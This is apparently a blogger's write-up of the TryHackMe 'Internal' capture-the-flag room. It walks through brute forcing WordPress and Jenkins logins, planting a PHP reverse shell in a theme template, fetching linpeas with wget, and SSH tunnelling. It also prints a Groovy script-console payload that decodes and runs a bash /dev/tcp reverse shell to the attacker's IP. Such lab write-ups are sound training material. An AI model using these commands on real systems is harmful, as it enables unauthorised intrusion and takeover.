TryHackMe - Internal writeup
This room is rated hard and it simulates a real-world pentest. It involves enough enumeration on the web server which is our only way in. And less harmful files that have user passwords saved in them which gave us easy access to the machine.
Let’s get started
Nmap scan
Started with my nmap scan to get open ports and services that might be running on our target system. I found that there are only two ports running, 22
and 80
that is SSH
and a webserver HTTP
respectively.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
# Nmap 7.94 scan initiated Thu Jun 22 20:51:05 2023 as: nmap -A -T4 -sCV -v -oN nmap.log 10.10.148.198
Increasing send delay for 10.10.148.198 from 0 to 5 due to 19 out of 47 dropped probes since last increase.
Nmap scan report for 10.10.148.198
Host is up (0.15s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 6e:fa:ef:be:f6:5f:98:b9:59:7b:f7:8e:b9:c5:62:1e (RSA)
| 256 ed:64:ed:33:e5:c9:30:58:ba:23:04:0d:14:eb:30:e9 (ECDSA)
|_ 256 b0:7f:7f:7b:52:62:62:2a:60:d4:3d:36:fa:89:ee:ff (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94%E=4%D=6/22%OT=22%CT=1%CU=37045%PV=Y%DS=2%DC=T%G=Y%TM=64948A3
OS:D%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=109%TI=Z%CI=Z%TS=C)SEQ(SP=1
OS:02%GCD=1%ISR=109%TI=Z%CI=Z%II=I%TS=C)SEQ(SP=102%GCD=1%ISR=10D%TI=Z%CI=Z%
OS:TS=C)SEQ(SP=102%GCD=1%ISR=10D%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=102%GCD=1%ISR=1
OS:0D%TI=Z%CI=Z%II=I%TS=B)OPS(O1=M508ST11NW7%O2=M508ST11NW7%O3=M508NNT11NW7
OS:%O4=M508ST11NW7%O5=M508ST11NW7%O6=M508ST11)OPS(O1=M508ST11NW7%O2=M508ST1
OS:1NW7%O3=M508NNT11NW7%O4=NNT11%O5=M508ST11NW7%O6=M508ST11)WIN(W1=F4B3%W2=
OS:F4B3%W3=F4B3%W4=1E9%W5=F4B3%W6=F4B3)WIN(W1=F4B3%W2=F4B3%W3=F4B3%W4=F4B3%
OS:W5=F4B3%W6=F4B3)ECN(R=Y%DF=Y%T=40%W=F507%O=M508NNSNW7%CC=Y%Q=)T1(R=Y%DF=
OS:Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%
OS:F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y
OS:%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%R
OS:D=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)I
OS:E(R=Y%DFI=N%T=40%CD=S)
Uptime guess: 4.607 days (since Sun Jun 18 06:18:27 2023)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 110/tcp)
HOP RTT ADDRESS
1 148.10 ms 10.9.0.1
2 147.93 ms 10.10.148.198
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jun 22 20:51:57 2023 -- 1 IP address (1 host up) scanned in 52.58 seconds
Directory bruteforcing
Since i know there is a web server running, i threw my ffuf scan
to bruteforce for any hidden directories that might seem interesting. Right away i got two directories blog
and wordpress
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
┌──(prorat㉿prosec)-[~/hacks/thm/internal]
└─$ ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.148.198/FUZZ -H "Host: FUZZ"
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.10.148.198/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
:: Header : Host: FUZZ
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________
[Status: 200, Size: 10918, Words: 3499, Lines: 376, Duration: 149ms]
* FUZZ:
[Status: 301, Size: 295, Words: 20, Lines: 10, Duration: 570ms]
* FUZZ: blog
[Status: 301, Size: 310, Words: 20, Lines: 10, Duration: 156ms]
* FUZZ: wordpress
Going through the blog
directory, seemed to be the base base url for the wordpress blog. I went futher to confirm whether the usual wp-admin
page was there and i guess i wasn’t wrong.
Checking on the comments sections, i saw only one comment Hello World
going through it, it shows that it was posted by user admin
, interesting. We now have a possible user in our wordpress website. My wappalyzer told me the version of wordpress running is 5.4.2
. Unfortunately there was no exploit or substantial vulnerability that could help me root this machine.
Trying to login using admin
and password password
i get this interesting error The password you entered for the username admin is incorrect
which tells me that we have the right username, and we probably should be worried about the password only this case.
so
- username
- No exploit for wp version
- No subdomain
Throwing wpscan to enumerate and username and some other information abou the wordpress passively. We find that the wordpress theme is outdated, this will come in handy when we have access to the wordpress.
What next? i guess its time we tried to bruteforce the login creds using username admin
and password from the mighty rockyou.txt
. wpscan
can do that. Ran the command wpscan --url http://internal.thm/blog --usernames admin --passwords /usr/share/wordlists/rockyou.txt
and waited. Luckily, we got the password.
Initial access
We login using admin credentials we got. We already know that the wordpress theme twentyseventeen
is outdated, we can use that.
Edit the 404.php template
to put our php reverse shell script from pentestmonkey. Change the IP address
to attacking box IP and the port
that you will be listening on for a reverse shell.
Once we have that updated, we can access it in /wp-content/themes/twentyseventeen/404.php
. We start our netcat listener
1
2
3
4
┌──(prorat㉿prosec)-[~/hacks/thm/internal]
└─$ nc -nlvp 1337
listening on [any] 1337 ...
We visit our php reverse shell script that we have planted in the innocent 404.php
template and boom we got a shell!!.
1
2
3
4
5
6
7
8
9
10
┌──(prorat㉿prosec)-[~/hacks/thm/internal]
└─$ nc -nlvp 1337
listening on [any] 1337 ...
connect to [10.9.81.8] from (UNKNOWN) [10.10.29.155] 38416
Linux internal 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
19:51:39 up 55 min, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
Upgrading the shell
Start by finding which python version is installed in the machine by running which python3
. Followed by python3 -c 'import pty;pty.spawn("/bin/bash")'
to spawn a better-featured bash shell, then export TERM=xterm
which gives us access to term commands. Then run CTRL + z
to background the session and stty raw -echo; fg
which turns off our own terminal echo which gives us access to tab autocompletes, the arrow keys, and Ctrl + C to kill processes then finally stty rows 38 columns 116
. We now have a stable shell
1
2
3
4
5
6
www-data@internal:/$ ls
bin cdrom etc initrd.img lib lost+found mnt proc run snap swap.img tmp var vmlinuz.old
boot dev home initrd.img.old lib64 media opt root sbin srv sys usr vmlinuz
www-data@internal:/$
www-data@internal:/$
Privilege Escalation - User
We are in as www-data
user, we are now supposed to escalate our privileges to a shell user in the machine that is aubreanna
.
Of course you must have heard about linpeas
. It is a privesc tool that does enumerations on a machine for potential escalation routes in seconds. Easy, dowload linpeas here to your machine, start python3 server
from where the linpeas file have been downloaded to.
1
2
3
4
5
┌──(prorat㉿prosec)-[~/hacks/thm/internal]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.250.90 - - [23/Jun/2023 09:52:42] "GET /linpeas.sh HTTP/1.1" 200 -
Use wget
to download it to your preferred directory in your target (as long as you have write permissions mostsly is /tmp
and /dev/shm
), in the URL the host IP with be attacking machine.
1
2
3
4
5
6
7
8
9
10
11
12
13
www-data@internal:/tmp$ wget http://10.9.81.8/linpeas.sh
--2023-06-23 06:52:42-- http://10.9.81.8/linpeas.sh
Connecting to 10.9.81.8:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 836054 (816K) [text/x-sh]
Saving to: 'linpeas.sh'
linpeas.sh 100%[==============================================>] 816.46K 584KB/s in 1.4s
2023-06-23 06:52:44 (584 KB/s) - 'linpeas.sh' saved [836054/836054]
www-data@internal:/tmp$
Once it has been downloaded, make it executable using chmod +x linpeas.sh
and run it ./linpeas.sh
.
Started going through the linpeas output, We find that it is a docker container, only two users with a console, aubreanna
and root
. Going further, we get database credentials from the wordpress config file.
NB: Checked on the mysql database and it was a dead end, there were no credentials that could help escalate my privildeges.
And going through the output, we come accross one interesting file wp-save.txt
.
Started find command to look for it and get an absolute path to its location in the file system. And in matters of second we get the path.
1
2
3
www-data@internal:/tmp$ find / -type f -name wp-save.txt 2>/dev/null
/opt/wp-save.txt
Reading it, we getaubreanna
user password.
User flag
Now that we have aubreanna’s password, we can proceed to login and retrieve the flag.
1
2
3
4
5
6
aubreanna@internal:/tmp$ cd ~
aubreanna@internal:~$ ls
jenkins.txt snap user.txt
aubreanna@internal:~$ cat user.txt
THM{redacted}
aubreanna@internal:~$
Privilege Escalation - root
Reading the jenkins.txt
file found in the home directory, we find that it is talking about a jenkins service that is running on 172.17.0.2
at port 8080
. Weird, cause it is not in our target machine. From ifconfig, our machine is running at 172.17.0.1
.
1
2
3
4
5
6
7
8
9
10
11
12
aubreanna@internal:~$ cat jenkins.txt
Internal Jenkins service is running on 172.17.0.2:8080
aubreanna@internal:~$ ifconfig
docker0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255
inet6 fe80::42:65ff:fea3:95cd prefixlen 64 scopeid 0x20<link>
ether 02:42:65:a3:95:cd txqueuelen 0 (Ethernet)
RX packets 12 bytes 2245 (2.2 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 24 bytes 1806 (1.8 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Port forwarding
Even if we try to access that docker IP and Port using our browser it will not be reachable. Therefore, to access it, we are going to use SSH tunneling technique to forward Jenkins ip:port
to our attacker machine’s ip:port
.
1
ssh -L 9000:172.17.0.2:8080 aubreanna@internal.thm
Then access the jenkins server by visiting the localhost
at port 9000
. We are presented with login. From here i just let hydra
bruteforce the password with admin
as the user. And we got something.
Abusing groovy script console
Jenkins has lovely Groovy script console that permits anyone to run arbitrary Groovy scripts inside the Jenkins master runtime. Groovy is a very powerful language which offers the ability to do practically anything Java can do.
We are going to use this to get a reverse shell on the docker environment. Go to manage jenkins> script console
.
We first start our netcat listener on the port we will use in the rever shell script.
1
2
3
4
┌──(prorat㉿prosec)-[~/hacks/thm/internal]
└─$ nc -nlvp 1234
listening on [any] 1234 ...
Then head to script console in our jenkins service and paste this script.
NOTE: You will need to put your IP and port in this one line bash reverse shell command
bash -c 'bash -i >& /dev/tcp/<attacking_IP>/port 0>&1'
and base64 encode it, then paste it in the<base64_encoded_revshell>
.
1
2
3
4
5
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'bash -c {echo,<base64_encoded_revshell>}|{base64,-d}|{bash,-i}'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
Then run the script and bingo we got a shell on the jenkins server, based on the user privilege escalation, we found a file that contained user password in the opt directory, How about now? We can check on the /opt
directory and yes!! we have a note.txt
file.
Opening it, we get root’s password.
Root flag
Now that have the root’s password, we can ssh
to the machine or switch user(su
) to root right from aubreanna’s console.
1
2
3
4
5
6
7
8
aubreanna@internal:~$ su root
Password:
root@internal:/home/aubreanna# cd /root
root@internal:~# ls
root.txt snap
root@internal:~# cat root.txt
THM{redacted}
Conclusion
This was one of the amazing machines that i have come across in tryhackme, with all the process from enumeration, intial access, enumeration again, take the jenkins service to our machine, enumerate again to get into the jenkins server where we got all we were looking for.
GG to the creators and tryhackme. Thank you and i hope you enjoyed the write up.